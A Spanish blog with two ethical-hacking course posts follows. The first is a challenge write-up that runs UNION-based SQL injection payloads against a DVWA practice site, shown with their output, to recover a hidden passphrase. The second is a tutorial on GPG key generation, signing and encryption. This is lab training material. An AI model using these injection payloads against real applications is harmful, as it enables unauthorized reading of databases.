Mostrando entradas con la etiqueta Criptografía. Mostrar todas las entradas
Mostrando entradas con la etiqueta Criptografía. Mostrar todas las entradas

Hacking Ético, Descifrando el Enigma

Para resolver el enigma tenéis que poner en práctica los conocimientos adquiridos en las tareas anteriores. En primer lugar debes descarga el archivo de texto Enigma.txt.gpg. En este archivo tienes la información que buscas. Está cifrado con un protocolo simétrico, así que necesitas la clave con la que ha sido cifrado.

Para conseguir la clave, debes acceder a http://pruebas.euskalert.net y demostrar las destrezas adquiridas en tareas anteriores. Yoda te da una pista importante:


Para resolver el enigma, seguiremos los pasos de la tarea 2 de la segunda unidad SQL Injection utilizando los mismos datos de usuario / contraseña y configurando el nivel de seguridad a bajo.

Primero obtendremos la versión de la base de datos, la sentencia a enviar es:

%' or 0=0 union select null, version() #

ID: %' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, version() #
First name: 
Surname: 5.5.44-0+deb8u1

La version de la base de datos mysql es: Surname: 5.5.44-0+deb8u1

El usuario de la base de datos que ejecuta el código php, cuya sentencia es: %' or 0=0 union select null, user() #
 
ID: %' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, user() #
First name: 
Surname: dvwa@localhost

El nombre de usuario que ejecuta el código php es: dvwa@localhost

El siguiente punto es obtener el nombre de la base de datos. %' or 0=0 union select null, database() #

ID:  %' or 0=0 union select null, database() #
First name: admin
Surname: admin

ID:  %' or 0=0 union select null, database() #
First name: Gordon
Surname: Brown

ID:  %' or 0=0 union select null, database() #
First name: Hack
Surname: Me

ID:  %' or 0=0 union select null, database() #
First name: Pablo
Surname: Picasso

ID:  %' or 0=0 union select null, database() #
First name: Bob
Surname: Smith

ID:  %' or 0=0 union select null, database() #
First name: 
Surname: dvwa

El nombre de la base de datos es: dvwa

Listar todas las tablas de la base de datos. %' and 1=0 union select null, table_name from information_schema.tables # 
 
ID: %' and 1=0 union select null, table_name from information_schema.tables # 

First name: 
Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ENGINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROFILING

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: REFERENTIAL_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ROUTINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMATA

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMA_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: STATISTICS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLESPACES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TRIGGERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: VIEWS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_TRX

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_POOL_STATS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCK_WAITS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCKS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE_LRU

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: guestbook

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: users 

Tablas que contenga el prefijo user.

Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name: 
Surname: USER_PRIVILEGES
ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# First name: Surname: users

De la misma manera (enviando consultas SQL) obtendríamos información de la tablas que su contenido sea 'user', passwords, etc.

Pero si recordamos lo que decía el maestro Yoda, el nombre de la tabla es 'guestbook' que contenido albergará?

 La sentencia SQL para listar las columnas de la tabla 'guestbook' es:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment_id

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
name

Visualizar el contenido de la tabla guestbook.

%' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 1
This is a test comment.
test

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 2
These aren't the droids you'r looking for...
Obi-Wan Kenobi

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 3
The key is "use the force", Luke.
Yoda

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 4
Han Solo shot first!
Anonymous bystander

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 5
Master Kenobi, you disappoint me. Yoda holds you in such high steem. Surely you can do better!
Count Dooku

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 6
At last we will reveal ourselves to the Jedi. At last we will have revenge.
Darth Maul

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 10
Its a trap!
Admiral Ackbar

De toda la información de la tabla, algo curioso es [The key is "use the force", Luke. Yoda], tal vez la clave sea "use the force" para descifrar el enigma.

Para descifrar el fichero, procederemos tal y como se realizó en la tarea 3 de la unidad 1.

Sí todo ha ido bien, aparecera un mensaje similar a este.

sergio@tux:~$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: ATENCIÓN: la intgridad del mensaje no está protegida
sergio@tux:~$ 

En caso contrario, mostrara un mensaje de Llave de sesión no valida.

sergio@tux:~/ownCloud/mooc_hacking$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: DBG: borrada frase de paso en caché con ID: SD406FC57F94A64FD
gpg: descifrado fallido: Llave de sesión inválida
sergio@tux:~$ 

El mensaje descifrado fue el siguiente:

¡Enhorabuena! Has resuelto el enigma... ya puedes solicitar audiencia con el Consejo Jedi:
https://www.facebook.com/groups/consejojedimu/






Hacking Ético, Unidad 1 - Tarea 3: Una sencilla práctica sobre criptografía

En la tercera tarea de la unidad 1, se trata de generar un par de claves (publica y privada) mediante gpg2. Crear un fichero de texto, firmarlo y cifrarlo, después compartir con un tercero.

El primer paso es generar el par de claves (publica y privada).

sergio@tux:~$ gpg2 --gen-key
El programa «gpg2» no está instalado. Puede instalarlo escribiendo:
sudo apt-get install gnupg2
sergio@tux:~$

Nos informa que no está instalado el paquete, tal y como sugiere mediante apt-get install gnupg2 lo instalaremos.

sergio@tux:~$ sudo apt-get install gnupg2
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Paquetes sugeridos:
  gnupg-doc xloadimage
Se instalarán los siguientes paquetes NUEVOS:
  gnupg2
0 actualizados, 1 se instalarán, 0 para eliminar y 0 no actualizados.
Se necesita descargar 0 B/671 kB de archivos.
Se utilizarán 2.253 kB de espacio de disco adicional después de esta operación.
Seleccionando el paquete gnupg2 previamente no seleccionado.
(Leyendo la base de datos ... 207018 ficheros o directorios instalados actualmente.)
Preparing to unpack .../gnupg2_2.0.22-3ubuntu1.1_i386.deb ...
Unpacking gnupg2 (2.0.22-3ubuntu1.1) ...
Processing triggers for man-db (2.6.7.1-1) ...
Configurando gnupg2 (2.0.22-3ubuntu1.1) ...
sergio@tux:~$ 

Volvemos a probar y ahora si funciona.

En función de nuestras necesidades, modificaremos las opciones que se nos van dando. El tipo de clave, si tiene fecha de caducidad, nombre y apellidos, dirección de correo valida y finalmente nos solicitara una contraseña.

Tal y como recomienda, mientras está generando las claves interesa realizar otras tareas, abrir otras consolas, mirar algún vídeo, etc.

sergio@tux:~$ gpg2 --gen-key
gpg (GnuPG) 2.0.22; Copyright (C) 2013 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Por favor seleccione tipo de clave deseado:
   (1) RSA y RSA (por defecto)
   (2) DSA y ElGamal
   (3) DSA (sólo firmar)
   (4) RSA (sólo firmar)
Su elección: 1
las claves RSA pueden tener entre 1024 y 4096 bits de longitud.
¿De qué tamaño quiere la clave? (2048) 
El tamaño requerido es de 2048 bits
Por favor, especifique el período de validez de la clave.
         0 = la clave nunca caduca
        = la clave caduca en n días
      w = la clave caduca en n semanas
      m = la clave caduca en n meses
      y = la clave caduca en n años
¿Validez de la clave (0)? 0
La clave nunca caduca
¿Es correcto? (s/n) s

GnuPG debe construir un ID de usuario para identificar su clave.

Nombre y apellidos: Sergio Martin
Dirección de correo electrónico: sergmartin@andaluciajunta.es
Comentario: 
Ha seleccionado este ID de usuario:
    "Sergio Martin "

¿Cambia (N)ombre, (C)omentario, (D)irección o (V)ale/(S)alir? V
Necesita una frase contraseña para proteger su clave secreta.

Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: clave D5798008 marcada como de confianza absoluta
claves pública y secreta creadas y firmadas.

gpg: comprobando base de datos de confianza
gpg: 3 dudosa(s) necesarias, 1 completa(s) necesarias,
modelo de confianza PGP
gpg: nivel: 0  validez:   2  firmada:   0  confianza: 0-, 0q, 0n, 0m, 0f, 2u
gpg: siguiente comprobación de base de datos de confianza el: 2015-11-08
pub   2048R/D5798008 2015-09-28
      Huella de clave = 18D2 7BB6 749A 46D7 F96C  17DE 1865 D8B9 D579 8008
uid                  Sergio Martin 
sub   2048R/34DD14A4 2015-09-28

sergio@tux:~$ 

Una vez finalizado, ya tenemos nuestra clave publica.
El siguiente paso, es exportar la clave en formato binario y ASCII blindado

sergio@tux:~$ gpg2 --export Sergio Martin > Sergio_Martin-pub.gpg
sergio@tux:~$ 

sergio@tux:~$ gpg2 --armor --export Sergio Martin > Sergio_Martin-pub-asc.gpg
sergio@tux:~$ 


sergio@tux:~$ gpg2 --list-keys
/home/sergio/.gnupg/pubring.gpg
-------------------------------
pub   2048R/D5798008 2015-09-28
uid                  Sergio Martin <sergmartin[dot]andaluciajunta.es>
sub   2048R/34DD14A4 2015-09-28

sergio@tux:~$ 

Si queremos compartir nuestra clave publica para que cualquiera nos pueda enviar un mensaje cifrado, se puede subir al servidor publico PGP Global Directory. Una vez enviado, recibiremos un correo para validar el email y finalizar el proceso.

Firma

Importar clave de un tercero.

sergio@tux:~$ gpg2 --import cp_grosp.asc
gpg: clave 956108D8: "Grosp (Prueba) " sin cambios
gpg: Cantidad total procesada: 1
gpg:              sin cambios: 1
sergio@tux:~$ 

Para verificar sí la importación es correcta, deberá aparecer en el listado.

sergio@tux:~$ gpg2 --list-keys
/home/sergio/.gnupg/pubring.gpg
-------------------------------
pub   2048R/D5798008 2015-09-28
uid                  Sergio Martin 
sub   2048R/34DD14A4 2015-09-28

pub   2048R/956108D8 2015-09-28 [caduca: 2017-09-28]
uid                  Grosp (Prueba) 
sub   2048R/D8C8A479 2015-09-28 [caduca: 2017-09-28]

sergio@tux:~$ 

Ahora ya podemos desencriptar el fichero de texto cifrado que hemos recibido.

sergio@tux:~$ gpg2 --decrypt Prueba.txt.asc > resultado_prueba.txt

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID 34DD14A4, creada el 2015-09-28 (ID de clave primaria D5798008)

gpg: cifrado con clave RSA de 2048 bits, ID D8C8A479, creada el 2015-09-28
      "Grosp (Prueba) "
gpg: cifrado con clave RSA de 2048 bits, ID BE3C9B52, creada el 2015-09-27
      "Sergio Martin "
gpg: cifrado con clave RSA de 2048 bits, ID 34DD14A4, creada el 2015-09-28
      "Sergio Martin "
gpg: Firmado el lun 28 sep 2015 22:26:32 CEST usando clave RSA ID 956108D8
gpg: Firma correcta de "Grosp (Prueba) "
gpg: ATENCIÓN: ¡Esta clave no está certificada por una firma de confianza!
gpg:          No hay indicios de que la firma pertenezca al propietario.
Huellas dactilares de la clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
sergio@tux:~$ 

Una vez desencriptado, podemos leer el contenido del fichero de texto.

Archivo de prueba - MOOC Hacking Ético
Para firmar y cifrar un fichero de texto, es necesario utilizar la clave publica del tercero.

Firmar y cifrar en modo binario.

sergio@tux:~$ gpg2 --recipient Grosp  --sign --encrypt tarea3_unidad1.txt 

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID C32F2578, creada el 2015-09-27

gpg: D8C8A479: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra

pub  2048R/D8C8A479 2015-09-28 Grosp (Prueba) 
 Huella clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
      Huella de subclave: CDB9 AE16 D6F1 89EB B901  99B8 E38E 9201 D8C8 A479

No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.

¿Usar esta clave de todas formas? (s/N) s
sergio@tux:~$ 

Firmar y cifrar en modo texto.

sergio@tux:~$ gpg2 --recipient Grosp --sign --armor --encrypt tarea3_unidad1.txt 

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID C32F2578, creada el 2015-09-27

gpg: D8C8A479: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra

pub  2048R/D8C8A479 2015-09-28 Grosp (Prueba) 
 Huella clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
      Huella de subclave: CDB9 AE16 D6F1 89EB B901  99B8 E38E 9201 D8C8 A479

No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.

¿Usar esta clave de todas formas? (s/N) s
sergio@tux:~$